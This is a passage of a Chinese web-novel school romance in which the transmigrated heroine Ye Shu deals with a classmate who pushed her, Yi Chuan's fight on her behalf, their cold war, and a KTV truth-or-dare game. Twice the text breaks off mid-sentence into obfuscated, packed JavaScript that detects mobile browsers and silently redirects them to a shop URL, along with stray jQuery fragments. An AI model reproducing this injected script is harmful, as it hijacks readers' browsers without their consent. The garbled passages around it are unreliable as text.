“以我对他的了解，他看到我摔倒应该会想笑吧。就算不恶意揣度他，他的表情也不像别人那样，倒像是——做了什么事后的慌乱。” 凌熙听后，嫌弃地骂道：“确实很可疑啊，他和你什么仇什么怨？就算是无心的也应该道歉吧，站那里装模做样干嘛？摆明就是故意的！” “以我和他的关系，他‘恨’我也是有可能。”叶舒微微笑了笑，“而且我觉得，他应该是无心的故意。” “哈？？”凌熙不解地皱了皱眉。 “我猜，他一开始想撞我，也可能看我烦，想从我身边快点挤过去，结果没想到力气一大，我差点摔了下去。”叶舒分析道。 凌熙：“不管怎么样，从哪方面想，他这人都好恐怖。你要不要和老师说一声，或者去查查监控——” 叶舒摇头拒绝：“算了，就算弄到监控，那时候人那么多，也无法证明他就是故意的。最好的情况也不过是小惩，没必要。” 凌熙认可她的说法，有些不甘地点了点头：“确实，下次经过他也撞他，报复回来。” 叶舒欣然一笑，应和说：“好。” 31. 争吵 课间。 坐叶舒身后的王朗关心到叶舒的伤势：“叶舒，你腿咋样啊？听人说你摔了。” 叶舒回答：“还好，崴到脚而已。” “易川大会之后也说去医务室，你俩没遇见？” “遇见了。” 听见这话，王朗脸上顿时浮现出不怀好意的嬉笑，他故作高深地拍了拍易川的肩膀，力度还不小。 “易川，人叶舒都崴脚了，你也不英雄救美，帮帮人家。” 易川皱起了眉，侧头鄙夷地看着他：“你想我怎么样？找个单杠去抬？” “你——” 叶舒心情烦闷，但还是及时制止住两人幼稚的对话：“王朗我是崴了一下脚，不是腿断了。” “行吧行吧。”王朗甩了甩手，一副你们都不懂我的痛心神情。 见叶舒没再说话，一副兴致缺缺的模样，王朗出声安慰道：“叶舒，可能是因为你考年级第一遭妒了，都说福祸相依，没事就好。” “借你吉言。”叶舒微笑着应下，紧接着脸上浮现出一些怔然。 王朗这话倒是提醒了她。 难不成林康是因为她考了第一，一时气不过所以才……？ 他竟会为此做到这种程度吗？ 这种种不过是她的猜测，叶舒想了一会便不再深究，已无力为此劳心费力。 王朗接着夸张地赞叹道：“不过你怎么这么厉害，这次还能考年级第一！深藏不露啊！” 叶舒莞尔一笑，谦虚道：“也算运气好。” “我运气好可也考不到年级第一。”王朗撇了撇嘴。 “人第一也是理所应当，谁像你一样天天上课讲话。” 一直没吭声的易川突然出声，泼了王朗一道冷水。 王朗不屑地嘁了一声：“你说话咋那么欠呢，嘴里蹦不出一句好听的。” “你想听啥好听的？” 易川没回头，懒懒地说，手里翻着一本不知道又从哪淘来的书翻着。 “夸人的话呗。” 易川不屑勾了勾唇，叶舒都能猜到他想要说什么——大概是“就你？” 易川笑完，眼神落在叶舒上。 适才他眼中的不屑消散了。 “想听可以啊。” 易川突然这么说，话语似在回复刚刚王朗的话，目光却盯着叶舒的脸。 莫名地，叶舒有些不安。 “恭喜我们这位年级第一。” 他声音带着一丝若有若无的笑意，语气也不似往常那般不屑冷漠了。 看得出，他这声夸赞确实是真心。 叶舒眼睫颤了颤，须臾才回应他：“谢谢。” 她笑了笑。 却并不欣喜。 相似的话语让她回想起过去的场面。 初夏，教学楼的廊下，青绿茂密的树下。 易川斜倚着栏杆，在王朗的提醒下，难得温和待人了一次。 他说：“恭喜你啊，第一。” ...... 这次就像那次一样。 叶舒愣怔之余，王朗震惊的声音钻进她耳朵：“喂，你不夸我夸叶舒？什么时候见过你夸人？我也比你考得高，怎么不见你夸我厉害——” “嗞拉——！” 叶舒猛地站起，桌椅之间发出刺耳的嗞喇声。 王朗被叶舒这举动吓得止住了话语。 “我，我去上个厕所。” 叶舒拖着还有些抽疼的腿，转身离去。 ...... 教室外。 叶舒并不想上厕所，也不知去哪，便走向另一侧远离教室的挑廊。 她无力地靠在墙边，摁住自己发颤的手。 凌乱的思绪像一盘杂乱无章的电路板，她迷失在其中，摸不清其中的逻辑。 太像了。 叶舒可以肯定今天的场景就是当年的场景再一次重现，只是个中细节有些变化而已。 如果这会重现，那是否也代表着，易川当年当面对她说狠话的场景也会重现？ 若是到了那一步，那如今堆砌起来的关系变会烟消云散，攻略任务也会失败—— 【结局未定，一切皆有可能。】 系统的声音忽然出现。 这话大概是安慰她的，可叶舒心里总还是不安。 系统：【这就是由你原世界的人物人设搭建的世界，许多事情当然会很像。】 叶舒道出自己的顾虑：【那易川高考的成绩是否也会像原来一样重现，若真是这样，我岂不是根本回不去？】 系统：【系统世界一切都是可控的，牵一发而动全身，他成绩上来了，那就有人退步了。你看那个林康，不就是在你意料之外吗？所以，攻略是否能成，就看你能否让男主成为“逆袭的人”了。】 听完系统的解释，叶舒没再说话，心中顾虑也消了几许。 最近，易川待她挺好，甚至算得上“殷勤”。 而且，这世界的易川没有喜欢江菱。 或许，冥冥中，她已经改变了这走向。 - 翌日清晨。 叶舒来得早，教学楼还没多少学生，在鸟鸣声的映衬下，教学楼更显清静。 叶舒拿着空水壶在打水机遇见了林康。 她望着林康，不带一丝犹豫地上前。 本想试探他，结果林康瞟了她一眼，像是看到脏东西一般忙不迭后退了一步。 叶舒微怔：“你——” 还未等叶舒问出声，林康便脸色阴沉地瞪了她一眼，转身离去。 见他态度如此恶劣，叶舒后悔起自己的懵怔，应当绊他一脚还昨日那一摔才对。 …… 课间。 一向好脾气的班主任陶珠沉着脸走进教室，在门口指了指叶舒这块的方向：“易川，来办公室一下。” 她顿了一会，又指了指王朗说：“王朗，你也过来一下。” 叶舒就看着易川和王朗两个人阴沉着脸走了出去。 班上几名男生见此场景，开始窃窃私语。 见状，叶舒向那几名男生问道：“发生什么了？” 没想到叶舒突然向他们八卦，男生们愣了一瞬，随后压低声音告诉她：“昨晚，易川和隔壁重点班一个男生打架，被宿管抓了，宿管说要告诉班主任。现在，易川应该是被叫去问话了。” 打架？！ 叶舒愕然。 猛地，脑海中浮现早上她见到林康的场景，林康臭着脸转身之际，她注意到他颧骨处似乎有些红肿。 叶舒当时以为自己看错了，所以没在意，现在想来，与易川产生矛盾之人应该就是林康了。 之前日记那个事，易川对林康大概有些不满，只是易川不是冲动的人，怎么昨天突然与林康打起来。 叶舒正疑惑着，一名男生调笑着说：“好像是因为你呢，叶舒。” 叶舒：“我？” “是吧。”男生回忆起昨晚的场面，“大概原因不知道，但听见了他们说了你名字。” 叶舒秀眉轻蹙，追问：“你们还听到什么吗？” “说什么推不推的，我们也听不懂，最后是王朗去拉他们，宿管也来了，才没继续打下去。” 男生半开玩笑道：“易川好像是为你打抱不平呢，你俩啥关系啊？” 叶舒：“你和我什么关系，我和易川就什么关系。” 男生们见叶舒语气冷淡，自知失言，一时噤了声。 “谢谢你们告诉我。” 叶舒向几人道谢完后，回了座位。 ——“说什么推不推的......” 昨天，叶舒与凌熙从医务室回教室，易川走得快，没几步身影便消失在了楼道中。 现在想来，他昨天应该是听到了她与凌熙说的话。 …… 上课铃响后，易川与王朗才回教室。 易川脸色平静，淡漠的神色里还是能看出些许阴郁，他一直没说话，叶舒便也没有主动询问。 直至下课，那令人窒息的气氛才缓和些。 王朗拿了水壶，大概是要出门打水，他起身拍了怕易川的肩膀：“检讨要不要我帮你写点？” “不用。”易川将摊开的书本合上，“我自己的事自己做。” 王朗点了点头，默默出了教室。 见王朗离开，叶舒这才开口问易川今日的事：“检讨怎么回事？” 易川拿笔的手顿了顿，语气懒懒道：“违纪了，就被罚了呗。” “你违什么纪？” “熄灯讲话。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725532|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >易川低着头，一副吊儿郎当的模样。 叶舒不愿再与他卖关子周旋，直接说：“你昨晚是不是和林康吵架了？” 易川沉默，片刻后才大剌剌地说：“没有。” 叶舒：“我都知道了，有什么好瞒的？我昨天和凌熙说话你是不是听到了，你是不是因为——” “不是。” 易川侧头看向她，眼眸中闪过一丝冷漠的坚决。 见状，叶舒顿在原地。 易川大概也发觉自己有些失态，移开视线，目光缓和了些，“我......” 叶舒：“你的脸有伤。” 易川错愕了一瞬，见眼前的女生脸上没有半分对他语气的怨怼，反而正有些担心地盯着他的脸。 顺着她的目光，易川摸了摸自己的脸颊，“没事。” “所以，你是和林康打架了，是吗？”叶舒继续问。 再隐瞒也无意义了，易川漫不经心地嗯了一声，似乎没把这当一回事。 “为什么？” 课间，同学们的喧闹声填塞了教室，倒显得他们这处格外安静。 易川修长的手指敲了敲，片刻后才开口：“我是听到了，你和凌熙说的话。” 叶舒表情一滞。 她没想到易川真是因为这原因，而与林康产生争执。 更没想到易川竟亲口承认了。 “你——”叶舒一时无言，反而无语地笑了出来，“所以，你和他打起来了？” 易川回忆着昨晚林康的恶语相向，微微皱起眉头，“不是因为你那个。他公共洗衣机里洗鞋子，正好是我们宿舍排的队伍，给我发现了。” 叶舒：“……” 好吧，确实很可恶。 叶舒帮他分析起局势：“谁先打的？” 易川姿态散漫，像是为了证明自己没吃亏，立刻回答：“我。” 叶舒被他的语气弄笑了：“你还得意了？虽然说他这么做是有点过分，但是你怎么突然那么冲动？他洗鞋子这事可大可小，但你先动手就不占理了，杀敌八百，自损一千。” 她这一大串说下来，也不知道易川听没听进去，他扬了扬眉，吐出几个字： “他没打过我。” “.......” 叶舒当然知道，从两人脸上的状况就比对得出来。 她翻了个白眼，“我知道，但重点根本就不是这个。” “好了。”易川不耐烦地打断她，“说你像老师，你还真啰嗦起来了。” 他一语中的，身为老师的叶舒感觉自己背上中了一箭。 他抱臂，侧头瞥了眼她：“那你说说，你那件事你打算怎么报复林康啊？” 无聊的问题，也就只有他这种年纪的人这么想。 叶舒转念一想，自己似乎真的不年轻了，早已过了脑子一热想做什么就做什么的年纪了。 不过，易川这么一问，叶舒倒是开始细数自己的假设：“他推我，我也推他、绊他或者踩他；食堂遇见他就撞他，汤‘不小心’弄他身上......” 大概是嫌弃她的“报复手段”太过幼稚，易川噗嗤笑出了声：“这就是你的办法？” “那你还想怎么样？他是否是故意的我也不知道，就算他真的是故意的，我也做不到真的卑鄙地把他推下楼吧。” “他都在楼梯里推你了，他都不要脸，你也行。” “你觉得真能行吗？” 叶舒认真地反问，易川沉默了。 他知道她不会，叶舒也知道易川不会。 但易川还是冲动，所以自认为一报还一报地与林康争执了起来。 一时间，沉默在空气中游走。 叶舒打破沉默，安慰道：“我还有一个报复的办法，绝对让林康气得牙痒。” 易川抬眉，顺着她的话问：“什么？” 叶舒弯了弯唇，“他不是一向很在意他的成绩了吗？那我就在他最在意的事上赢过他，让他不得意，气死他。” 她语气有些俏皮，引得易川也勾了勾唇。 叶舒想起王朗刚刚的话，不禁问易川：“你是不是要写检讨，要不要我帮忙？” “不用。”易川鄙夷地皱了皱眉，“谁不会似的。” 叶舒：你上次确实不会写...... 32. 往事重现 叶舒本以为这事便由着易川的成熟到此为止，可她似乎小瞧了这件事带来的蝴蝶效应。 …… 仅安生了几日，叶舒便发现围绕在她和易川的氛围越来越奇怪。 不是体育课能听见班里男生对易川的调侃，就是她与易川讲题时，会有男生调戏易川。 “易川，又幸福了吧。” 每当这时，易川便默默抬眼，不耐烦地瞥他们一眼，男生们就会噤声，嬉笑着离开。 大概是因为易川那日为叶舒出头，与林康争吵，在他其他人眼中，自是会觉得叶舒与易川之间关系不一般。 易川倒是没有因为这些话语，像上学期那般与叶舒避嫌。 只是，叶舒总莫名有些不安。 大概是她有些创伤后遗症了，叶舒安慰自己。 “想什么呢？” 一只手落在叶舒眼前，清脆地打了给响指。 叶舒回过神，轻轻摇头：“没什么。” 她低头看题，易川的眼神却变得晦暗不明。 连着几日，时不时便会出现有人调侃两人的关系。 叶舒见易川没什么反应，也不再在意。 只要清者自清，过段时间那些人便会自觉无趣，流言也会随之过去。 - “叶舒，你出来一下。” 晚修课间，易川突然对叶舒说。 话音刚落，他便起身出了教室，神态间有些严肃。 叶舒一开始有些懵，望见他背影出了教室的门，她便默默合上笔帽，跟了出去。 初夏的夜，夜幕之上点缀零星几颗星星。 易川站定在远离教室的檐廊下，夜色朦胧，灯火昏暗，走廊到处是晃动的人影，他的神情也因此模糊，辨不清楚，蓝色的校服颜色也似乎浓了些。 叶舒缓缓朝他走近，站在他身旁。 “什么事？” 她的声音很轻，掉落在夜风与课间的嘈杂声中，差点捉不住。 易川没吭声。 叶舒以为他没听见自己的话，欲开口再重复一遍，结果便听见易川低沉的声音： “叶舒，请你不要误会。” “不要以为我喜欢你。” 闻言，叶舒身形微顿。 男生冰冷坚决的话语再度传来。 “最近班里有许多人乱传，所以我想应该和你解释。我对你，没有那个意思，希望你不要误会了。” 叶舒颤了颤唇瓣，沉默了良久，才问：“所以，你是因为最近那些流言，然后专门来和我说这些吗？” 易川始终没侧过脸正眼看她。 叶舒只见他下颚紧了紧，沉吟了片刻后，微微仰头道：“是，你可以这么觉得。” 楼下蝉鸣声不断，一旁的教室一片灯火通明，只余两人站着的檐廊下漆黑一片。 易川话音落在有些喧闹的背景音里，叶舒这几日原有的莫名的不安反而逐渐平静下来。 还是来了。 叶舒合上眼，默默点了点头。 随即，她有些嘲讽道：“你就因为这事，所以来和我说这些无聊的话吗？” 微弱的灯光斜投出两人浅浅的阴影。 易川嘴角似乎勾起了一点弧度，很浅，转瞬即逝，“你我之前都曾经历过，你应该知道流言中心有多难受。你成绩好，年级第一，而我正好相反——” 男生狭长的眼尾扫向她，“我只是不想你因为这些误会而已。” 叶舒想起他曾经的话。 ——“你一个学霸，喜欢我一个学渣，喜欢我什么？” ——“我们根本就不是一路人，我不喜欢你，永远都不会喜欢上你。” 虽说如今易川的言辞较过去委婉许多，可她还是听出了他言下之意—— 他要将她推开。 “而且，上学期同样的事，你不也及时向我解释了吗？”易川这才终于侧头看向她，漆黑夜色中，叶舒一下捕捉到了他那双眼眸。 他脸上带着些许意味不明的散漫笑意，却又似乎有些认真。 “所以，我觉得我也得向你说清楚才好。” 他说。 不知是他神情矛盾的缘故还是什么他谈不上诚恳的语气，叶舒莫名觉得他这话的意思像是在报复她那时的态度。 不等叶舒给他任何回复，他便说：“走了。” 语毕，大概是不想再与叶舒多对峙，他转身就走，回了教室。 易川转身离开的那一瞬间，叶舒没有过去他拒绝自己那时的那般难堪之感。 只是她心口处还是缩了缩，有着一丝细细密密的疼痛蔓延开，然而只有一点点，很快便消失。 叶舒站在原地，没回教室，默默看着楼下憧憧的人影出神。 该来的还是会来。 只是以一种较为温和的方式——这次的易川没有在大庭广众之下，说出伤人的话。 不是已经经历过了吗？ 甚至这次的情况比过去那次还好许多。 可为什么，心里还是有些难过。 像是有一根细小的针轻轻的扎进了心口，初时不疼，随着呼吸，却能缓缓的能感受到那隐隐约约的疼痛。 - 易川和叶舒冷战了。 两人是同桌，低头不见抬头见的，但互相都仿佛憋着一股气，谁也不理对方。 王朗一早便看出了两人的不对劲来，一直旁敲侧击，试图想让两人重归于好，可用尽方法也都无济于事。 …… 周日，返校日。 虽说两人还在冷战期间，但易川也如以前那般提早抵达了教室。 他大概有想与叶舒和好的心思，从包里搜出数学作业，然后将自己的试卷放在叶舒桌面上。 叶舒正在忙自己的事，视野间出现试卷的影子。 她从自己的书中抬眼，瞥了眼眼前密密麻麻写满了数字的试卷上。 她抬头看着身旁的易川，神色冷淡地看着他，有些不解他的行为。 易川似是早猜到她会是这反应，不紧不慢出言解释道：“给你过目。” 若他们没有吵架，他们之间确实是这样的习惯，但如今叶舒不想理他，自然也不想秉承原来的规矩。 他先挑起的矛盾，如今想来找台阶下，她就得顺着下吗？ 不可能。 更何况他还是这种颐指气使的姿态。 叶舒直接把他的试卷甩回他的桌面：“给我过目做什么？我没那么大权威，自己的试卷自己留着。” “叶舒。” 易川叫了声她的名字。 半晌，他才继续开口，声音和缓少许，没了刚刚稍有不满的气势：“之前都是这样。” 这话听着倒像他有意服软言好，叶舒暂时也不想给他面子，耍起了脾气： “不需要了，以后也不用。” 易川：“......” 场面一时陷入僵局。 两人的表情都像是压着一股气，望向对方的眼神都带着些许怒意。 叶舒瞟了眼易川，他浓密的剑眉紧皱，目光锁住她，比起生气，他眼中更像是压着不甘，欲言又止的模样。 叶舒瞧见易川这副面孔就莫名来气，自己生气还有缘故，他凭什么还表现一副自己也受委屈的模样？ “怎么了？吵架了” 偏巧，旁边有名男生见两人氛围不对，便插嘴道：“小两口别吵架了，有啥好吵的——” “你觉得这玩笑好笑吗？” 叶舒直接打断男生的玩笑话，视线穿过易川的身体瞪着男生。 她一点也不喜欢这样的玩笑。 未穿越前，她就没少被这样的流言蜚语困扰，没想到如今穿越改写了还是逃不过。 而且，正是因为他们一味的打趣、调侃、任由流言滋生，所以她与易川才有今天这样。 要不是他们，她的攻略也不会阻碍重重。 “很无聊。”叶舒鲜少生气，如今心情烦闷，实在忍不住凶了一句，随后便离开了教室，不想再看见他们。 那男生发现场面一发不可收拾，脸色难看，有些求助似的看向易川。 易川只是转身扫了他一眼，冷冷地来了一句：“这玩笑本来就不好笑。” …… 自那之后，易川和叶舒之间的传闻渐渐淡化甚至消失了。 毕竟两人之间愈渐糟糕的关系有目共睹，一时没人再敢调侃两人。 但两人还是没有和好。 就连系统也规劝叶舒。 系统：【都快两周了，你和他还这样冷着不利于你的攻略吧？难道——这是你的计划？】 叶舒吊儿郎当地回应：【是啊，是计划。】 系统惊喜道：【我就知道肯定在你计划中，那你什么时候和他和好啊？】 叶舒毫不在意：【我什么时候说过我要和他和好？】 系统：【啊？那你和他——】 叶舒：【我的计划就是走一步看一步，他这样自恋，而且还因为无稽的流言和我说那些话，我凭什么要那么轻易原谅他？】 系统：...... 叶舒忽然发现，大概是穿越久了，自己也开始有些童心未泯，竟开始与易川这小子玩起幼稚的赌气游戏。 - 这冷战持续了两周。 而在两人冷战的期间，叶舒的身边发生了另一件突如其来的事——江菱要出国了。 江菱一直在学习雅思，最近一直在办相关的手续，打算今年便出国，不日便要休学。 江菱当时和叶舒说这事的时候，叶 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虽然自己早已经历不少大大小小的分离了，可这段时间叶舒已经习惯这学生的身份和她们的陪伴，人心是肉长的，难免还是会感伤。 她看着眼前的天真烂漫的少女，咽下心里那番苦涩，扬起一个不算难看的微笑：“嗯。” 叶舒实在想不通这变化的时间线，而系统却总拿着“系统世界的事情发展方向与它无关”的话搪塞她。 - 下周开始，江菱便不来学校了，全心在家中准备考试和相关事宜，所以江菱便约叶舒和陆雯周末一聚。 三人如今不在一个班，见面也是见一次少一次。 叶舒抵达KTV后，发现王朗和柯怿也在。 看着王朗对陆雯的殷勤样，叶舒不用猜也想到了：大概率是王朗想约见陆雯，所以借口一起聚聚。 在KTV包厢内不小的音乐声中，众人大声地聊着在新班级的现状。 江菱：“叶舒，说起来，你和王朗还是一个班呢。” 叶舒点了点头。 王朗本来在点歌，闻言，也插进嘴说：“对啊对啊，还有易川，也和我们一个班。” 叶舒听见熟悉的名字，脸沉了下去。 昏暗变幻的灯光下，拥有极强顿感力的王朗没注意到叶舒神情的变化。 “这么巧，你还和易川一个班啊？”江菱感叹道。 王朗又补充道：“叶舒还和易川是同桌呢。” “这也太巧了，你和他——”江菱转头与叶舒说话，见她脸色明显不好，要说的话也刹住了车，“怎么了？” “没事。”叶舒神色淡淡地回了两个字。 王朗缓和气氛：“就，叶舒最近和易川吵架了，没啥大事。” 叶舒没理会王朗的话，正好陆雯和叶舒点的歌到了，叶舒接过陆雯递过来的话筒。 舒缓的前奏在包房内流淌，前奏结束，叶舒正要开口吟唱，包房大门敞开，进来一人。 头顶彩灯散发着流动的光芒，没有人声的音乐听着有些突兀，但却无人开口，场面寂然，只有大屏不断变化着的画面和音响里播着的伴奏声。 缓动的彩色光斑落在来人立体的脸庞上，显得他眼神晦暗不明。 那人似乎也没想到叶舒会在这，动作顿在原地，眼神落在叶舒脸上。 “易川，你来了，这这！” 王朗见场面尴尬，立刻伸手招呼易川在自己身旁坐下。 易川脚步微顿，踌躇了片刻才向王朗走近。 他今天只简单地着了件深灰色T恤，裤子也是暗色系的，若没有房间内彩灯，他的身影就像是融入昏暗中。 叶舒不给王朗面子，直接问王朗：“你叫他来的？” 她唇角向下，眼神带着质问的寒意。 叶舒从前即使再对王朗生气，也从未向今天这般眼神看着他过。 王朗自知于叶舒方来讲，这行为不妥，语气蔫巴下去：“呃，对......对不起，我——” “没事了，就这样吧。”叶舒打断他，别过头，不想看王朗与易川的脸。 音乐伴奏声还在播放，无人歌唱。 江菱和陆雯还在场，叶舒就算生气，没理由也拉着她俩跟自己一起生气胡闹，所以她还是坐在沙发上，只是沉默着。 见众人都不说话，一向内向的柯怿也坐不住了，唯唯诺诺出声：“大家唱歌、点歌吧，出来玩一趟，别不开心。” “是啊是啊。”王朗嗫嚅附和道。 “叶舒。” 易川忽然喊她的名字。 叶舒抬眼，只见易川站起身，朝她的方向微抬下颚： “谈谈？” 33. 真心话大冒险 包厢的门一关，将音乐声隔绝在内。 KTV的走廊里，各个包房里传来音乐声与唱歌的人声，只是声音闷在屋内，倒与站在外面的两人不像是一个世界的。 叶舒看着站在离自己位置不远处的男生，先打破沉默：“有话就说吧。” 易川抱臂沉默着，侧着脸没说话，大概也是不知道要说什么。五光十色的流光下，男生凌厉好看的侧脸曲线若隐若现。 见他迟迟不说话，叶舒有些不耐烦：“你要是没事的话，我就进去了。” “我只是觉得——”男生低哑的声线在她耳后响起，“我们的存在似乎让大家扫兴了。” 叶舒回头，晃动的光线下，易川正看着她，唇线平直，却又好像带着些许笑意。 她见他这副随性默然的模样便来气。 叶舒没给他面子，呛他道：“你没来之前，大家兴致挺好的。” 易川抿唇笑了笑，对她这句嘲讽不甚在意。 “我……” 他开口，似乎想说什么。 然而，下一刻，他便敛了神色，伸手拉过叶舒。 两人之间的距离骤然变近。 冷冽的木质香窜进她鼻间，叶舒抬眼，先闯入视野里的是易川那清晰明朗的下颌线，视线再向上，便是他那双丹凤眼。 只是那双眼睛此时没有盯着她，而是看着另一处，眼神有些戒备之意。 隔壁包厢传出劲爆的音乐声，弄得人心脏难受，叶舒的心脏突突地跳动着，一时之间不知是音乐声还是心跳声。 “你——”她抬头想开口质问易川，鼻间倏然窜进一股浓烈的酒气，呛得她皱了皱鼻。 一道斥责声在耳边响起。 “堵路中间干嘛！” 叶舒侧头，看见一名脸颊通红的中年男子。 他双眼迷离，一脸不爽地指着易川和她：“小情侣调情别挡道，要调情开房去调，别堵在这！” 难听的话语自男人那满是酒气的嘴里说出，叶舒微微屏住呼吸，随后发觉背上的手似乎将自己揽得更紧了些。 “你发什么酒疯？”易川将她拉在自己身后，还想继续与男人争论，结果就被堵住了嘴。 叶舒的手覆在他下巴处，阻止他张口说话。 易川表情顿时僵滞。 叶舒手心下是易川柔软的唇瓣，随着她着急拉易川离开的动作，手指上嘴唇的触感也愈渐鲜明。 但叶舒没空想一些暧昧的事情，只想着远离这满身酒味的男人。 正欲离开，走廊尽头追出来一名男性，应是这醉鬼男人的同伴。他忙上前拽住找不着北的醉鬼，然后冲叶舒与易川道歉：“不好意思，他喝多了，对不起。” 叶舒摇了摇头，转头便要离开，易川似乎想说什么，但被叶舒一巴掌推走，拉回包厢门口。 …… 直到两人走回自己的包厢门外，叶舒才松开手。 两人视线交汇了一瞬，一瞬即走。 叶舒将刚刚覆在易川嘴上的手背在身后，像是沾染了不干净的东西，偷偷抹了抹。 也不知道易川看没看见。 大概是忍受不了这沉默，易川清了清嗓子，率先开口，语气有些恶劣地朝叶舒说：“你拉着我走什么，他撒酒疯也得看场合，我们怕什么？” 叶舒理解易川，而且他刚刚是好意，所以她没有在意他态度的不善，认真地向他分析弊害：“他是成年男人，还在撒酒疯，趁他还没做什么，不如快点远离，何苦跟他掰扯。何况人朋友也来了，尽早远离才是。” “这有监控。”易川不认可她的说法，义愤填膺，“你躲着才不对，不然男人耍酒疯会越来越猖狂。说白了，就是看我们年纪小，你看那些耍酒疯的男人会不会打男人和老板？” “......” 他说得对，叶舒自是无言以对。 易川见她说不上来话，继续呛她：“怎么？你怕我和他打起来？” 他凑近她，迫使叶舒对上他的目光。 “不，”叶舒说，“我怕他吐我一身。” 听见这话，易川才终于不再为难她。 昏暗的灯光下，叶舒看见他眼底平白浮现出一丝笑意。 二人回了包厢。 王朗招呼着两人坐下：“诶，要不玩游戏吧，这有卡牌！” 王朗提的游戏就是每人分发到一样数量的扑克牌，每人按照1-13顺序念数字与出一张卡牌，若是玩家出的卡牌和说的数字一致，则需要立刻将手放置桌上，大王小王也需拍下手。 出手最慢的人则有惩罚，并收走桌面的卡牌；待有两位玩家将手中的卡牌全扔完，此局结束。 游戏并不难，就是考验反应力的游戏，需要注意力高度集中。 虽说是王朗提的游戏，但他开始就一连输了几轮。 惩罚是真心话大冒险，王朗不想选真心话，硬是选了几轮的大冒险。 不是在朋友圈发文自贬，就是点摇滚祸害在场的众人...... 又一轮游戏开始。 叶舒眼疾手快地放下手，可惜还是慢了半拍，落在后面，正当她忧心这轮是否是自己垫底时，又有一只手覆上来。 包厢里的冷气开得有些大，叶舒的手微凉，倒衬得那双手心温热。 那手指节修长分明，有些熟悉，叶舒顺着手臂望去。 易川正看着自己。 二人视线交错，平添些许局促。 易川松了手，叶舒也略显不适地移开了目光。 “哈哈，易川到你了！真心话还是大冒险！”王朗兴冲冲地嚷道。 易川洗着自己的卡牌，慢悠悠道：“真心话。” “好嘞。”王朗用手机软件系统抽取问题，“近期最后悔的事是在什么时候？” “怎么是这种问题，没意思。”王朗的表情从原来的兴奋变为嫌弃，并催促着还在玩牌的易川，“便宜你了，快说！” 扑克牌在易川骨节分明的手指中翻飞，随后止于他的手心。 他微微眯眼，思索了一会，缓缓道：“上上周四。” 他停顿了一会，又补充道：“晚上。” 视线从手上的牌上移开，微掀眼皮，他看向他对面的叶舒。 上上周四的晚上。 就是他们争执的那晚。 叶舒眼睑微动，抬眼望向他。 王朗的好奇心被挑起，继续问道：“什么事？” 易川移开视线，又开始摆弄手中的扑克牌：“这是另一个问题。” “难道是？”王朗扭头看向叶舒，探究的目光在两人之间逡巡，恍然后意味深长地噢了一声。 “好了，下一轮了。1。”易川没给他说话的机会，直接扔牌，堵住王朗的话头。 新一轮牌局开展的太快，叶舒正思索着易川话语中的意味，没看清桌上的大王，成为了这局最慢的人。 倒霉。叶舒腹诽道。 “真心话还是大冒险。” 王朗“居心不良”地看着叶舒，叶舒打了个寒战。 叶舒：“真心话。” 王朗：“你有没有喜欢的人？” 叶舒：“......” 好无聊的问题。 叶舒不假思索回复：“没有。” “真没有？”王朗狐疑地打量着叶舒的表情，“以前呢？你从来没有暗恋的人吗？” 以前暗恋的人...... 那确实有一个，此时还正在她的眼前。 叶舒这半刻的犹豫被王朗捕捉到，惊讶地大叫起来：“真有啊！谁啊谁啊，啥时候的啊？” 叶舒默默收走了桌上的牌，不咸不淡地说：“我的问题已经回答完了，没必要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733380|141763||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再回答你。” 王朗：“欸！你这很明显撒谎了，你得说真心话！” 众人的眼神全都落在叶舒脸上，就连陆雯和江菱也八卦地看着她，毕竟她们也没听过叶舒说喜欢什么人。 叶舒只好硬着头皮说道：“问题是问‘现在喜欢的人’，以前喜欢的人不算。” 叶舒这句话明显表明，她曾经有过喜欢的人。 王朗幸灾乐祸地笑了笑，一副“终于让你供出来了吧”的神情。他戳了戳身侧的易川的手臂，易川身体动了动，没理王朗。他低着头，脸隐在阴影下，看不见他此时的表情。 众人又接着玩了几回合，叶舒怕再被惩罚，一直紧盯着牌局，不敢懈怠。 牌局气氛变得焦灼，众人皆不想自己输，都来了劲，手拍至桌上的力道也重了几分，固定在地的桌子都在众人拍打的力道下开始摇晃。 “嘶——” 叶舒被一众手掌压着，抽出来时，手背都红了一片。 “谁在我上面这么用力。”叶舒不满地嘟囔着，抬起头望向对面。 这局最慢的是王朗，柯怿、江菱和陆雯的手皆在她之下，那么—— 就是易川。 当事人正在欣赏着自己的手，似乎在看自己手心是否有事。 大概是意识到叶舒的目光，他侧头对上叶舒愤恨的眼神。 易川微抬下巴，啊了一声，神色颇为闲散道：“应该是我，真是对不起啊。” 叶舒：“......” 他这副模样真不像是真心对不起的样子。 …… 后续几局叶舒也颇为争气，没再输过。 倒是易川，像是腻了这游戏，一时晃神输了游戏。 王朗本想再从他嘴里套些话，然而，易川却选择了大冒险。 王朗：“在手机通讯录里选个人打电话，然后说‘我是猪’。” 易川眉头微皱，很是抗拒这个挑战。 “别想逃，别玩不起啊。”王朗抓着他，像是怕易川跑了一样。 易川嫌弃地挣开他的手，“知道了。” 他拿起手机，在屏幕上划拉了半晌。 大屏的音乐早已暂停，包厢内陷入了短暂的安静。 见他迟迟没有打电话，王朗便打趣道：“找那么久，没朋友啊？” 易川鼻间轻笑了声，自嘲道：“确实。” “嗨，怎么这样说呢，你打给我也行的——” 叮铃铃—— 王朗的话说到一半，包厢内便响起了语音通话的铃声。 